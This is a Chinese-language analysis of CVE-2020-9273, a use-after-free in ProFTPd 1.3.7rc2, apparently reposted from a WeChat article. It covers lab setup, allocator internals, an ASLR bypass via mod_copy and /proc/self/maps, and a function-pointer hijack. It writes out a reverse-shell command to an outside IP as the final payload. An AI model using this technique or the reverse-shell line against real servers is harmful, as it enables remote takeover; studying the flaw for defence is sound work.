CVE-2020-9273 ProFTPd RCE漏洞分析与利用
2022-12-1 12:23:17 Author: mp.weixin.qq.com(查看原文) 阅读量:8 收藏

漏洞描述:UAF类型的漏洞,通过伪造pool_rec内存池控制结构,可以篡改函数指针,从而达到任意命令执行。
漏洞修复:https://github.com/proftpd/proftpd/commit/d388f7904d4c9a6d0ea54237b8b54a57c19d8d49
影响版本:小于v1.3.7rc3
测试版本:v1.3.7rc2
保护机制:Canary/NX/Full RelRO(ubuntu 18.04版本)

环境搭建

调试环境/目标机器:ubuntu 18.04

ProFTPd源码编译及部署

// 安装依赖
apt-get install -y build-essential net-tools git 

// 源码下载
git clone https://github.com/proftpd/proftpd.git

// 切换到存在漏洞分支
git checkout -b 1.3.7rc2 v1.3.7rc2

// 生成Makefile文件,带gdb调试信息
./configure CFLAGS="-ggdb -O0" --with-modules=mod_copy --prefix=/usr --enable-openssl

// 编译
make -j4

// 打包
apt install -y checkinstall

// 含debug信息
checkinstall -D \
--pkgname='ProFTPd' \
--pkgversion="1.3.7rc2" \
--maintainer="[email protected]" \
--install=no \
--strip=no \
--stripso=no

创建匿名用户

groupadd ftp #添加ftp组
useradd ftp -g ftp -d /var/ftp #添加ftp用户
passwd ftp #设置匿名ftp用户密码为ftp

proftpd.conf匿名登录配置:如果没有/usr/etc/proftpd.conf这个文件,将以下内容写入。

# This is a basic ProFTPD configuration file (rename it to 
# 'proftpd.conf' for actual use.  It establishes a single server
# and a single anonymous login.  It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.

ServerName   "ProFTPD Default Installation"
ServerType   standalone
DefaultServer   on

# Port 21 is the standard FTP port.
Port    21

# Umask 022 is a good standard umask to prevent new dirs and files
# from being group and world writable.
Umask    022

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd).
MaxInstances   30

# Set the user and group under which the server will run.
User    nobody
Group    nogroup

# To cause every FTP user to be "jailed" (chrooted) into their home
# directory, uncomment this line.
#DefaultRoot ~

# Normally, we want files to be overwriteable.
<Directory />
  AllowOverwrite  on
</Directory>

# A basic anonymous configuration, no upload directories.  If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
  User    ftp
  Group    ftp

  # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias   anonymous ftp

  # Limit the maximum number of anonymous logins
  MaxClients   10

  # We want 'welcome.msg' displayed at login, and '.message' displayed
  # in each newly chdired directory.
  DisplayLogin   welcome.msg
  #DisplayFirstChdir  .message

  # Limit WRITE everywhere in the anonymous chroot
  #<Limit WRITE>
  #  DenyAll
  #</Limit>
</Anonymous>

如果有/usr/etc/proftpd.conf这个文件,则注释掉下面三行配置,允许匿名用户上传文件。

  #<Limit WRITE>
  #  DenyAll
  #</Limit>

启动proftpd服务

// 直接执行
/usr/sbin/proftpd

gdb调试:关闭系统ASLR,同时注释掉exp里绕获取maps的连接的线程,让proftpd第一个子进程就是漏洞进程,暂时没有找到其它方法在多个子进程里打断点。

gdb /usr/sbin/proftpd \
 -ex "set detach-on-fork on" \
 -ex "set follow-fork-mode child" \
 -ex "set breakpoint pending on" \
 -ex "b xfer_stor" \
 -ex "b pr_data_xfer" \
 -ex "b pr_data_abort" \
 -ex "b _exit"

漏洞分析

ProFTPD介绍

proftpd服务全程是Professional FTP daemon,是目前最为流行的FTP服务软件,相比于vsfptd,proftpd配置灵活,可配置选项更多,支持匿名、虚拟主机等多种环境部署,proftpd对中文环境兼容比vsftpd要好,相对于vsftpd使用效率要高很多,但是proftpd安全性相较vsfptd差一点。

proftpd的内存管理是在原有的glibc内置的ptmalloc2内存分配器的基础上重新封装的一套内存池管理机制,根据proftpd自己的文档描述,该alloc_pool机制源于apache的开源项目,至于是源于apache哪个开源项目,proftpd文档里并没有说明,我也没有在apache的项目里找到该内存池源码,毕竟apache的项目成千上万。

内存池分配器介绍

关键结构

#define CLICK_SZ (sizeof(union align))

CLICK_SZ是一个宏,代表内存对齐的长度,64位系统的值为8。

block_hdr
union block_hdr {
  union align a;

  /* Padding */
#if defined(_LP64) || defined(__LP64__)
  char pad[32];
#endif

  /* Actual header */
  struct {
    void *endp;
    union block_hdr *next;
    void *first_avail;
  } h;
};

每一个通过alloc_pool()或者make_sub_pool()函数分配的内存块,都一个union block_hdr,是用来描述当前内存块的状态。

  • h->endp:指向当前内存块的末尾地址。
  • h->next:指向内存块链表的下一个内存块。
  • h->first_avail:指向当前内存块空闲区域的首地址。
pool_rec
struct pool_rec {
  union block_hdr *first;
  union block_hdr *last;
  struct cleanup *cleanups;
  struct pool_rec *sub_pools;
  struct pool_rec *sub_next;
  struct pool_rec *sub_prev;
  struct pool_rec *parent;
  char *free_first_avail;
  const char *tag;
};

struct pool_rec是用来记录每一个pool状态的结构,关键成员变量的含义描述如下。

first:当前pool链表中,第一个pool的指针。

last:当前pool链表中,最后一个pool的指针。

cleanups:指向cleanup_t结构体,该结构体在释放pool时会用到。

sub_pools:指向当前pool的sub pool。

sub_next:指向当前pool的后一个pool。

sub_prev:指向当前pool的前一个pool。

parent:指向当前pool的父pool。

free_first_avail:指向当前pool内存块的可分配首地址。

tag:可以理解为pool的标签或者名称,比如session pool、table pool。

关键函数

alloc_pool

alloc_pool()函数是palloc()、pallocsz()、pcalloc()、pcallocsz()、make_array()等等一系列内存分配函数的底层核心函数,这些函数只对alloc_pool()函数做了简单的封装,我们还是重点介绍alloc_pool()核心函数。

static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) {
  // 根据请求分配内存大小reqsz的值,按CLICK_SZ对齐计算所需内存大小sz
  /* Round up requested size to an even number of aligned units */
  size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
  size_t sz = nclicks * CLICK_SZ;
  union block_hdr *blok;
  char *first_avail, *new_first_avail;

  /* For performance, see if space is available in the most recently
   * allocated block.
   */
  // 从pool中取出最近可用的内存块,如果该pool为空,则函数返回NULL
  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }
  // 计算出当前pool最近有内存块的空闲区域首地址赋值给first_avail
  first_avail = blok->h.first_avail;
  // 如果请求分配内存大小reqsz为0,函数直接返回NULL
  if (reqsz == 0) {
    /* Don't try to allocate memory of zero length.
     *
     * This should NOT happen normally; if it does, by returning NULL we
     * almost guarantee a null pointer dereference.
     */
    errno = EINVAL;
    return NULL;
  }
  // 根据当前pool可用内存块的空闲区域首地址 + 所需内存大小sz = 计算所需内存大小sz的末尾地址
  new_first_avail = first_avail + sz;
  // 计算所需内存大小sz的末尾地址,如果小于等于当前内存块blok的末尾地址,表示当前内存块blok有足够的内分配给用户,并更新当前内存块blok的可用内存首地址,并返回分配的内存的地址。
  if (new_first_avail <= (char *) blok->h.endp) {
    blok->h.first_avail = new_first_avail;  // 并更新当前内存块blok的空闲区域首地址
    return (void *) first_avail;
  }

  /* Need a new one that'

s big enough */
  pr_alarms_block();
  // 如果当前blok不足以满足sz,则重新向ptmalloc内存分配器申请内存块,并添加到当前pool中
  blok = new_block(sz, exact);
  p->last->h.next = blok; // 记录当前pool最近内存块头部链表的下一个指向新申请的blok
  p->last = blok;   // 将新申请的blok添加到当前pool的内存块链表的末端
  // first_avail指向新申请的blok空闲区域首地址
  first_avail = blok->h.first_avail;
  // 计算所需内存大小sz的末尾地址,也就是新的first_avail地址
  blok->h.first_avail = sz + (char *) blok->h.first_avail; 

  pr_alarms_unblock();
  return (void *) first_avail;
}

new_block

new_block()函数首先while循环遍历block的空闲链表是否有可用的block,没有则向ptmalloc2内存分配器申请新的内存块。

static union block_hdr *new_block(int minsz, int exact) {
  union block_hdr **lastptr = &block_freelist;
  union block_hdr *blok = block_freelist;
  // exact表示minsz大小是否准确,如果exact=false,则minsz还需要加上512字节,反之则不用
  if (!exact) {
    minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
    minsz *= BLOCK_MINFREE;
  }

  // 遍历block freelist是否有符合要求的block,有则返回符合要求的block
  while (blok) {
    if (minsz <= ((char *) blok->h.endp - (char *) blok->h.first_avail)) {
      *lastptr = blok->h.next;
      blok->h.next = NULL;

      stat_freehit++;
      return blok;
    }

    lastptr = &blok->h.next;
    blok = blok->h.next;
  }

  // block的空闲链表没有符合要求的block则从ptmalloc内存分配器申请
  /* Nope...damn.  Have to malloc() a new one. */
  stat_malloc++;
  return malloc_block(minsz);
}

malloc_block

malloc_block()函数间接调用了malloc()函数申请新内存,并初始化新内存块的block头信息

  1. h.next置空。
  2. h.first_avail指向新内存块偏移sizeof(union block_hdr)大小之后。
  3. h.endp指向内存新内存块的block地址结尾。
static union block_hdr *malloc_block(size_t size) {
  // 间接调用malloc函数,申请内存大小 = 申请对齐后内存的大小 + block头大小
  union block_hdr *blok =
    (union block_hdr *) smalloc(size + sizeof(union block_hdr));
  // 更新新内存block的头信息
  blok->h.next = NULL;
  blok->h.first_avail = (char *) (blok + 1);
  blok->h.endp = size + (char *) blok->h.first_avail;

  return blok;
}

make_sub_pool

make_sub_pool()函数用于在当前pool里申请new_pool,并赋值给当前pool的sub_pool字段,

struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();
  // 创建一个512字节的内存块
  blok = new_block(0, FALSE);
  // new_pool指向新创建的blok的block_hdr后,first_avail向后挪动pool hdr的大小
  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;
  // 给new_pool的头初始化为0
  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail; //初始化new_pool的free_first_avail
  new_pool->first = new_pool->last = blok; //初始化new_pool的first和last为blok
  // 如果p为真,将new_pool的parent设置为p,new_pool的sub_next设置为p的sub_pools
  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;
    // 如果p的sub_pools不为空,就将new_pool插入到p的sub_pools里其它pool之前
    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;
    // 将new_pool插入到p的sub_pools里
    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

漏洞触发

为了方便触发漏洞,这里我们先关闭系统地址空间布局随机化(ASLR)。

echo 0 > /proc/sys/kernel/randomize_va_space

然后在启动proftpd,这里我们可以启动无子进程方式,需要加上参数-X

/usr/sbin/proftpd -X -n -d10

poc大致步骤

第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。

第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。

第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,为了开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后会停止阻塞,想办法让线程停住,可以通过全局变量+while循环来控制。

第四步,线程B,继续发送一段命令A给proftpd server,发送完,让线程A停止等待,立马让线程A也发送一段垃圾数据给proftpd服务,由于proftpd服务先收到线程B的发送的上传文件的命令,程序进入mod_xfer处理线程B上传文件,并且在poll_ctrl()调用pr_cmd_read()接收到命令A,然后又接收了线程A的垃圾数据写入进命令A所在的cmd_rec所指向的pool,后续调用strdup时,访问了这个pool,因为写入的垃圾数据,导致strdup函数访问pool时读取的是垃圾数据并取了地址,出现非法内存的段错误。

漏洞触发

proftpd debug模式运行的崩溃界面,


在gdb调试环境里看到的崩溃堆栈,


漏洞利用

绕过ASLR

前提条件:需要proftpd支持mod_copy模块,执行configure文件时加上--with-modules=mod_copy参数,这样proftpd才能支持拷贝粘贴的能力,site cpfr为拷贝,site cpto为粘贴。

绕过思路:ASLR绕过相对较为简单,proftpd支持mod_copy模块,在登录上proftpd服务后,proftpd可以拷贝自身/proc/self/maps来获取进程内堆、代码段、libc的起始地址,proftpd默认模块里,有下载的命令retr,但是没法直接下载/proc/self/maps文件,所以将/proc/self/maps拷贝到/tmp目录下,然后把/tmp/maps文件下载下来,可以得到类似这样的文本内容。


篡改plain_cleanup_cb

利用思路:类似于在ptmalloc2里,劫持__free_hook函数指针一样,在proftpd里,通过劫持struct cleanup里的void (*plain_cleanup_cb)(void *)函数指针,来控制执行流,从而达到任意命令执行。

不同:在ptmalloc2里,比较常见的是对__free_hook函数指针进行劫持,来控制执行流,__free_hook函数指针是一个全局变量,所以__free_hook的地址相对于libc.so的基址是固定偏移,只要知道了libc在进程中的起始地址,是可以算出__free_hook函数指针这个变量的地址的,只要有稳定的任意地址写,即可稳定利用,大致内存关系可参考下图。

但是在proftpd服务的内存池palloc里,palloc在释放内存池的时候,能劫持的函数指针,目前比较合适的只有pool_rec->cleanups->plain_cleanup_cb这个函数指针,想要篡改plain_cleanup_cb这个函数指针,就需要知道pool_rec->cleanups->plain_cleanup_cb的地址并对其写入我们想要的数据。pool_rec->cleanups是当前释放的内存池pool的管理结构struct pool_rec的成员,每个pool的管理结构block_hdrstruct pool_rec都在heap段,plain_cleanup_cb的地址也在heap段,这样就很难通过偏移计算plain_cleanup_cb在heap段的地址,就很难稳定的利用plain_cleanup_cb劫持来执行任意代码,pool的内存关系可参考下图。


(注:在64位系统里,palloc内存池按8字节对齐分配内存)

任意地址写cmd->pool是线程A控制的内容fake_pool,通过伪造cmd->pool的内容,借用make_sub_pool()函数的任意地址写(这个任意写内容不可控)绕过pr_cmd_get_displayable_str()函数内的pr_table_get()对"displayable-str"字符串的检索,使其检索失败,继续执行并调用pstrdup(cmd->pool, res)函数,res是线程B控制的内容,pstrdup()函数类似于字符串拷贝,通过将cmd->pool->sub_prev指向gid_tab的地址向前一部分的偏移,以此来篡改gid_tab->pool的地址内容指向cmd->pool - 0x10的地址,这样在释放gid_tab时就会同时释放掉gid_tab->pool,便可调用我们控制的cleanups,从而达到任意命令执行。

利用步骤

前三步和漏洞触发流程一样,

第一步,创建线程A监听本地端口3247等待连接,线程A阻塞住,创建线程B,连接目标ip和端口,端口为21,并返回包含'220 ProFTPD Server (ProFTPD Default Installation)'信息,即表示和proftpd服务连上了。

第二步,线程B,发送两条指令,用来登录,第一条指令‘USER xxx’,第二条指令‘PASS mmm’,xxx代表用户名,mmm代表密码,返回230开头的信息,表示身份验证通过,登录成功。

第三步,线程B,发送一条指令‘TYPE I’,返回‘200 Type set to I\r\n’,接着发送PORT命令,切换proftpd服务为主动模式,让服务器来连接攻击者的客户端线程A监听的端口,然后再发送一条命令STOR,上传任意文件,开通一个数据传输通道,当线程A收到proftpd服务发出的连接请求后,想办法让线程停住,可以通过全局变量+while循环来控制。

从第四步开始有些不同,

第四步,线程B,继续发送一段命令A给proftpd服务,这个命令A内容是特意构造的,就是我们控制pr_cmd_get_displayable_str()函数里pstrdup(cmd->pool, res)函数的第二个参数res,构造的内容包含cmd->pool - 0x10的地址,发送完,让线程A停止等待,立马让线程A发送一段数据给proftpd服务,这次不是再垃圾数据,是我们精心构造好的恶意的pool_reccleanup_tblok_hdr和反弹shell的命令,后面分别用fake_pool_recfake_cleanup_tfake_blok_hdrgCmd来代表,到此,就等待反弹shell吧。

构造shellcode

说明,这次shellcode的构建,不同于ptmalloc2的内存管理,这次涉及到大家不熟悉的palloc内存池管理,利用内存池及其控制结构pool_rec和blok_hdr来完成利用,第一次理解起来可能麻烦点,如果大家很熟悉palloc内存池内存池的利用,可以忽略这句话。

在上述的利用第四步中,线程B发送的命令,会在poll_ctrl()函数里第933行调用pr_cmd_read()读取。


线程A发送的shellcode,会在pr_data_xfer()函数第1265行被pr_netio_read()函数读取。


pr_netio_read()函数的参数cl_buf,在xfer_stor()函数第2026行从cmd分配的sub_pool,所以线程A发送的shellcode直接占据了pool_rec及后面的内存,shellcode伪造的内容及关系图如下。


gid_tabcmd->poolcmd->notescmd->notes->chains,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。

线程A发送完shellcode后,进入任意写的流程,会再次调用data.c:933行的pr_cmd_read()函数,此次读到返回小于0,进入if判断,进入pr_session_disconnect()函数, 然后会进入到xfer_exit_ev()函数,调用链为main()->standalone_main()->daemon_loop()->fork_server()->cmd_loop()->pr_cmd_dispatch()->pr_cmd_dispatch_phase()->_dispatch()->pr_module_call()->xfer_stor()->pr_data_xfer()->poll_ctrl()->pr_session_disconnect()->pr_session_end->sess_cleanup()->pr_event_generate()->xfer_exit_ev()。然后xfer_exit_ev()函数会继续调用pr_cmd_dispatch_phase()_dispatch()函数,到了main.c:287行调用make_sub_pool()函数。


第一个任意地址写,但是写的内容不可控制,在make_sub_pool()函数里,通过箭头指向的两条语句,任意写的内容是new_pool的地址,伪造p->sub_pools指向cmd->notes - 0x10,这样new_pool->sub_next等于cmd->notes - 0x10new_pool->sub_next->sub_prev等同于指向cmd->notes->chains,这个任意写地址内容就是new_pool的地址,内控不可控,不能直接篡改plain_cleanup_cb函数指针写入我们想要的内容,所以第一个任意写内容不可控。


但是我们可以借助这个内容不可控的任意写,篡改cmd->notes->chains的地址。执行完make_sub_pool()函数,紧接着调用pr_cmd_get_displayable_str()函数,cmd.c:374行任意写的地方,内容是可控的,res是线程B发送命令的第二个参数。


在不篡改cmd->notes->chains的情况下,程序会在调用完res = pr_table_get(cmd->notes, "displayable-str", NULL)进入if判断并退出pr_cmd_get_displayable_str()函数,在篡改完cmd->notes->chains的情况下,pr_table_get()函数会返回NULL,继续执行到pstrdup(cmd->pool, res),具体细节自行调试。


当我们伪造的fake_pool_rec->sub_prev字段指向gid_tab-0x90,伪造res的内容为cmd->pool - 0x10,恰好在pstrdup(cmd->pool, res)时,res写入的地址刚好是gid_tab的前8字节,也就是gid_tab->pool的地址为cmd->pool - 0x10,如此一来gid_tab->pool->cleanups的地址便指向了cmd->pool->firstcmd->pool->first通过构造指向了cmd->pool->first + 0x50也就是fake_cleanups,所以当调用pr_table_free(gid_tab)时,最终会调用到run_cleanups()函数,参数为fake_cleanups,fake_cleanups是我们伪造好的,fake_cleanups->data指向一段比如反弹shell的命令bash -c "bash -i>& /dev/tcp/192.168.38.132/8000 0>&1" \x00fake_cleanups->plain_cleanup_cb指向system的地址,即可通过system函数调用反弹shell命令。

但有一点,fake_blok_hdr->end必须远大于fake_blok_hdr->first_avail,建议0x300以上。


执行结果


总结

有三个必须注意到的点,

  1. 建议关闭系统ASLR调试和利用。
  2. gid_tabcmd->poolcmd->notescmd->notes->chains,这4个都是堆上的地址,我们都需要提前计算相对heap偏移。
  3. 本次利用并不稳定,仅供学习。

文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&mid=2247485350&idx=1&sn=6a74e0ed8c87f7b1f08a66c059768a8c&chksm=ce1546f8f962cfee443420ac4baf03b533956ee829b0c8f203140bd817cd554dc7683cf8e526&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh